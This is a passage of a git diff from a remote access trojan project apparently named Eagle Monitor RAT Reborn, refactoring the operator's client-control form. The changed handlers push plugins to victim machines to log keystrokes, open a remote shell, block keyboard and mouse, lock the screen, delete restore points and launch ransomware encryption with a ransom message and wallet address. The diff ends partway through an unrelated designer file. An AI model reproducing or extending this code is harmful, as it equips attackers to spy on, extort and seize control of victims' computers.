- informationPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Information.dll"), 1);
- this.clientHandler.SendPacket(informationPacket);
+ InformationPacket informationPacket = new InformationPacket
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Information.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, informationPacket);
+ }
+ private void retrieveNetworkGuna2Button_Click(object sender, EventArgs e)
+ {
+ NetworkInformationPacket networkInformationPacket = new NetworkInformationPacket
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Information.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, networkInformationPacket);
}
#endregion
#region "Keylogger"
private void keyloggerGuna2Button_Click(object sender, EventArgs e)
{
+ KeylogPacket keylogPacket;
if (this.keyloggerGuna2Button.Text == "Start")
{
- this.keyloggerHandler = new KeyloggerHandler();
- KeylogPacket keylogPacket = new KeylogPacket();
- keylogPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1);
- this.clientHandler.SendPacket(keylogPacket);
+ this.KeyloggerHandler = new KeyloggerHandler();
+ keylogPacket = new KeylogPacket
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, keylogPacket);
this.keyloggerGuna2Button.Text = "Stop";
}
else
{
- KeylogPacket keylogPacket = new KeylogPacket(this.clientHandler.IP, this.clientHandler.HWID);
- keylogPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1);
- this.keyloggerHandler.clientHandler.SendPacket(keylogPacket);
+ keylogPacket = new KeylogPacket(this.ClientHandler.IP, this.ClientHandler.HWID)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.KeyloggerHandler.ClientHandler, keylogPacket);
this.keyloggerGuna2Button.Text = "Start";
- File.WriteAllText(this.clientHandler.clientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", keystrokeRichTextBox.Text);
+ File.WriteAllText(this.ClientHandler.ClientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", keystrokeRichTextBox.Text);
}
}
#endregion
#region "Chat"
private void chatGuna2Button_Click(object sender, EventArgs e)
{
+ RemoteChatPacket chatPacket;
if (this.chatGuna2Button.Text == "Start")
{
- this.chatHandler = new ChatHandler();
- RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_ON);
- chatPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Chat.dll"), 1);
- chatPacket.baseIp = this.clientHandler.IP;
- this.clientHandler.SendPacket(chatPacket);
+ this.ChatHandler = new ChatHandler();
+ chatPacket = new RemoteChatPacket(PacketType.CHAT_ON)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Chat.dll"), 1),
+ BaseIp = this.ClientHandler.IP
+ };
+ ClientHandler.StartSendData(this.ClientHandler, chatPacket);
this.chatGuna2Button.Text = "Stop";
}
else
{
- RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF);
- chatPacket.baseIp = this.clientHandler.IP;
- this.chatHandler.clientHandler.SendPacket(chatPacket);
+ chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF)
+ {
+ BaseIp = this.ClientHandler.IP
+ };
+ ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket);
this.chatGuna2Button.Text = "Start";
}
}
private void chatSendGuna2Button_Click(object sender, EventArgs e)
{
- if (this.chatHandler != null)
+ if (this.ChatHandler != null)
{
- RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_ON);
- chatPacket.msg = usernameChatGuna2TextBox.Text + ": " + messageChatGuna2TextBox.Text + "\n";
- chatPacket.baseIp = this.clientHandler.IP;
+ RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_ON)
+ {
+ msg = usernameChatGuna2TextBox.Text + ": " + messageChatGuna2TextBox.Text + "\n",
+ BaseIp = this.ClientHandler.IP
+ };
this.messageRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245);
this.messageRichTextBox.AppendText(chatPacket.msg);
- this.chatHandler.clientHandler.SendPacket(chatPacket);
+ ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket);
this.messageChatGuna2TextBox.Text = "";
}
}
@@ -1500,42 +1519,54 @@ private void chatSendGuna2Button_Click(object sender, EventArgs e)
#region "Hardware"
private void blockKeyboardGuna2CheckBox_CheckedChanged(object sender, EventArgs e)
{
+ MiscellaneousPacket miscellaneousPacket;
if (this.blockKeyboardGuna2CheckBox.Checked)
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_OFF);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_OFF)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
else
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_ON);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_ON)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
}
private void blockMouseGuna2CheckBox_CheckedChanged(object sender, EventArgs e)
{
+ MiscellaneousPacket miscellaneousPacket;
if (this.blockMouseGuna2CheckBox.Checked)
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_OFF);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_OFF)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
else
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_ON);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_ON)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
}
#endregion
#region "UI"
private void rotateScreenGuna2Button_Click(object sender, EventArgs e)
{
- ScreenRotationPacket screenRotationPacket = new ScreenRotationPacket(degreesGuna2ComboBox.Text);
- screenRotationPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1);
- clientHandler.SendPacket(screenRotationPacket);
+ ScreenRotationPacket screenRotationPacket = new ScreenRotationPacket(degreesGuna2ComboBox.Text)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ };
+ ClientHandler.StartSendData(ClientHandler, screenRotationPacket);
}
private void wallpaperGuna2Button_Click(object sender, EventArgs e)
{
@@ -1544,77 +1575,98 @@ private void wallpaperGuna2Button_Click(object sender, EventArgs e)
if (ofd.ShowDialog() == DialogResult.OK)
{
string ext = new FileInfo(ofd.FileName).Extension;
- WallPaperPacket wallPaperPacket = new WallPaperPacket(Compressor.QuickLZ.Compress(File.ReadAllBytes(ofd.FileName), 1), ext);
- wallPaperPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1);
- clientHandler.SendPacket(wallPaperPacket);
+ WallPaperPacket wallPaperPacket = new WallPaperPacket(Compressor.QuickLZ.Compress(File.ReadAllBytes(ofd.FileName), 1), ext)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ };
+ ClientHandler.StartSendData(ClientHandler, wallPaperPacket);
}
}
}
private void showTaskbarGuna2Button_Click(object sender, EventArgs e)
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_TASKBAR);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_TASKBAR)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
private void showDesktopIconsGuna2Button_Click(object sender, EventArgs e)
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_DESKTOP_ICONS);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_DESKTOP_ICONS)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
private void hideTaskbarGuna2Button_Click(object sender, EventArgs e)
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_TASKBAR);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_TASKBAR)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
private void hideDesktopIconsGuna2Button_Click(object sender, EventArgs e)
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_DESKTOP_ICONS);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_DESKTOP_ICONS)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
private void screenlockerGuna2CheckBox_CheckedChanged(object sender, EventArgs e)
{
+ MiscellaneousPacket miscellaneousPacket;
if (this.screenlockerGuna2CheckBox.Checked)
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_ON);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_ON)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
else
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_OFF);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_OFF)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
}
#endregion
#region "Audio"
private void volumeUpGuna2Button_Click(object sender, EventArgs e)
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_UP);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_UP)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
private void volumeDownGuna2Button_Click(object sender, EventArgs e)
{
- MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_DOWN);
- miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1);
- this.clientHandler.SendPacket(miscellaneousPacket);
+ MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_DOWN)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);
}
#endregion
#region "Web"
private void linkWebGuna2Button_Click(object sender, EventArgs e)
{
- OpenUrlPacket openUrlPacket = new OpenUrlPacket(linkWebGuna2TextBox.Text);
- openUrlPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1);
- clientHandler.SendPacket(openUrlPacket);
+ OpenUrlPacket openUrlPacket = new OpenUrlPacket(linkWebGuna2TextBox.Text)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ };
+ ClientHandler.StartSendData(ClientHandler, openUrlPacket);
}
#endregion
#region "Power"
@@ -1654,8 +1706,8 @@ private void setPowerGuna2Button_Click(object sender, EventArgs e)
default:
return;
}
- powerPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\PowerManager.dll"), 1);
- this.clientHandler.SendPacket(powerPacket);
+ powerPacket.Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\PowerManager.dll"), 1);
+ ClientHandler.StartSendData(this.ClientHandler, powerPacket);
}
#endregion
#endregion
@@ -1665,9 +1717,9 @@ private void refreshRestorePointToolStripMenuItem_Click(object sender, EventArgs
{
RestorePointPacket restorePointPacket = new RestorePointPacket
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1)
};
- this.clientHandler.SendPacket(restorePointPacket);
+ ClientHandler.StartSendData(this.ClientHandler, restorePointPacket);
}
private void deleteRestorePointToolStripMenuItem_Click(object sender, EventArgs e)
@@ -1676,21 +1728,21 @@ private void deleteRestorePointToolStripMenuItem_Click(object sender, EventArgs
{
DeleteRestorePointPacket deleteRestorePointPacket = new DeleteRestorePointPacket(int.Parse(selected.Cells[0].Value.ToString()))
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1)
};
- this.clientHandler.SendPacket(deleteRestorePointPacket);
+ ClientHandler.StartSendData(this.ClientHandler, deleteRestorePointPacket);
}
}
#endregion
private void askUACGuna2Button_Click(object sender, EventArgs e)
{
- if (!this.clientHandler.isAdmin)
+ if (!this.ClientHandler.IsAdmin)
{
AskAdminRightsPacket askAdminRightsPacket = new AskAdminRightsPacket
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1)
};
- this.clientHandler.SendPacket(askAdminRightsPacket);
+ ClientHandler.StartSendData(this.ClientHandler, askAdminRightsPacket);
}
}
#endregion
@@ -1732,19 +1784,19 @@ private void removeToolStripMenuItem_Click(object sender, EventArgs e)
private void generateRSAKeyGuna2Button_Click(object sender, EventArgs e)
{
- if (File.Exists(this.clientHandler.clientPath + "\\Ransomware\\encryption.json"))
+ if (File.Exists(this.ClientHandler.ClientPath + "\\Ransomware\\encryption.json"))
{
DialogResult r = MessageBox.Show("You are going to re-generate RSA keys pair for client, are you sure ?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
if (r.Equals(DialogResult.Yes))
{
- Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json"));
+ Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(ClientHandler.ClientPath + "\\Ransomware\\encryption.json"));
Dictionary rsaKey = Misc.Encryption.GetKey();
encryptionInformation.publicRSAServerKey = rsaKey["PublicKey"];
encryptionInformation.privateRSAServerKey = rsaKey["PrivateKey"];
string rsa = JsonConvert.SerializeObject(encryptionInformation);
- File.WriteAllText(this.clientHandler.clientPath + "\\Ransomware\\encryption.json", rsa);
- this.clientHandler.encryptionInformation = encryptionInformation;
+ File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\encryption.json", rsa);
+ this.ClientHandler.EncryptionInformation = encryptionInformation;
}
return;
}
@@ -1767,7 +1819,7 @@ private void startEncryptionGuna2Button_Click(object sender, EventArgs e)
extensions.Add(ext.Cells[0].Value.ToString());
}
- Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json"));
+ Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(ClientHandler.ClientPath + "\\Ransomware\\encryption.json"));
encryptionInformation.wallet = walletGuna2TextBox.Text;
encryptionInformation.msg = msgRansomwareGuna2TextBox.Text;
encryptionInformation.paths = paths;
@@ -1777,21 +1829,25 @@ private void startEncryptionGuna2Button_Click(object sender, EventArgs e)
encryptionInformation.subfolders = subDirectoriesGuna2CheckBox.Checked;
string newInformation = JsonConvert.SerializeObject(encryptionInformation);
- File.WriteAllText(this.clientHandler.clientPath + "\\Ransomware\\encryption.json", newInformation);
- this.clientHandler.encryptionInformation = encryptionInformation;
+ File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\encryption.json", newInformation);
+ this.ClientHandler.EncryptionInformation = encryptionInformation;
- RansomwareEncryptionPacket ransomwareEncryptionPacket = new RansomwareEncryptionPacket(this.clientHandler.encryptionInformation.publicRSAServerKey, this.clientHandler.encryptionInformation.paths, this.clientHandler.encryptionInformation.subfolders, this.clientHandler.encryptionInformation.checkExtensions);
- ransomwareEncryptionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1);
- ransomwareEncryptionPacket.msg = this.msgRansomwareGuna2TextBox.Text;
- ransomwareEncryptionPacket.wallet = this.walletGuna2TextBox.Text;
- this.clientHandler.SendPacket(ransomwareEncryptionPacket);
+ RansomwareEncryptionPacket ransomwareEncryptionPacket = new RansomwareEncryptionPacket(this.ClientHandler.EncryptionInformation.publicRSAServerKey, this.ClientHandler.EncryptionInformation.paths, this.ClientHandler.EncryptionInformation.subfolders, this.ClientHandler.EncryptionInformation.checkExtensions)
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1),
+ msg = this.msgRansomwareGuna2TextBox.Text,
+ wallet = this.walletGuna2TextBox.Text
+ };
+ ClientHandler.StartSendData(this.ClientHandler, ransomwareEncryptionPacket);
}
private void startDecryptionGuna2Button_Click(object sender, EventArgs e)
{
- RansomwareDecryptionPacket ransomwareDecryptionPacket = new RansomwareDecryptionPacket(this.clientHandler.encryptionInformation.privateRSAServerKey);
- ransomwareDecryptionPacket.plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1);
- this.clientHandler.SendPacket(ransomwareDecryptionPacket);
+ RansomwareDecryptionPacket ransomwareDecryptionPacket = new RansomwareDecryptionPacket(this.ClientHandler.EncryptionInformation.privateRSAServerKey)
+ {
+ Plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, ransomwareDecryptionPacket);
}
#endregion
#region "Shell"
@@ -1799,24 +1855,26 @@ private void remoteShellGuna2Button_Click(object sender, EventArgs e)
{
if (this.remoteShellGuna2Button.Text == "Start Session")
{
- this.remoteShellHandler = new RemoteShellHandler();
+ this.RemoteShellHandler = new RemoteShellHandler();
StartShellSessionPacket startShellSessionPacket = new StartShellSessionPacket(remoteShellGuna2ToggleSwitch.Checked)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteShell.dll"), 1)
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID,
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteShell.dll"), 1)
};
- this.clientHandler.SendPacket(startShellSessionPacket);
+ ClientHandler.StartSendData(this.ClientHandler, startShellSessionPacket);
this.remoteShellGuna2Button.Text = "Stop Session";
}
else
{
- if (clientHandler != null)
+ if (ClientHandler != null)
{
StopShellSessionPacket stopShellSessionPacket = new StopShellSessionPacket()
{
- baseIp = this.clientHandler.IP,
- HWID = this.clientHandler.HWID
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID
};
- this.remoteShellHandler.clientHandler.SendPacket(stopShellSessionPacket);
+ ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, stopShellSessionPacket);
this.remoteShellGuna2ToggleSwitch.Enabled = true;
this.remoteShellGuna2TextBox.Enabled = false;
@@ -1840,10 +1898,10 @@ private void remoteShellGuna2TextBox_KeyDown(object sender, KeyEventArgs e)
default:
NewCommandShellSessionPacket newCommandShellSessionPacket = new NewCommandShellSessionPacket(input)
{
- baseIp = this.clientHandler.IP,
- HWID = this.clientHandler.HWID
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID
};
- this.remoteShellHandler.clientHandler.SendPacket(newCommandShellSessionPacket);
+ ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, newCommandShellSessionPacket);
break;
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx
index 37e11477..c0cb83f3 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx
@@ -323,6 +323,21 @@ namespace EagleMonitor
True
+
+ True
+
+
+ True
+
+
+ True
+
+
+ True
+
+
+ True
+
True
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.zip b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.zip
new file mode 100644
index 00000000..f46ac2cc
Binary files /dev/null and b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.zip differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.Designer.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.Designer.cs
index 92d0eaa3..c38fba6a 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.Designer.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.Designer.cs
@@ -29,21 +29,21 @@ protected override void Dispose(bool disposing)
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle25 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle29 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle26 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle27 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle28 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle15 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle30 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle19 = new System.Windows.Forms.DataGridViewCellStyle();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MainForm));
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle12 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle13 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle14 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle32 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle20 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle31 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle33 = new System.Windows.Forms.DataGridViewCellStyle();
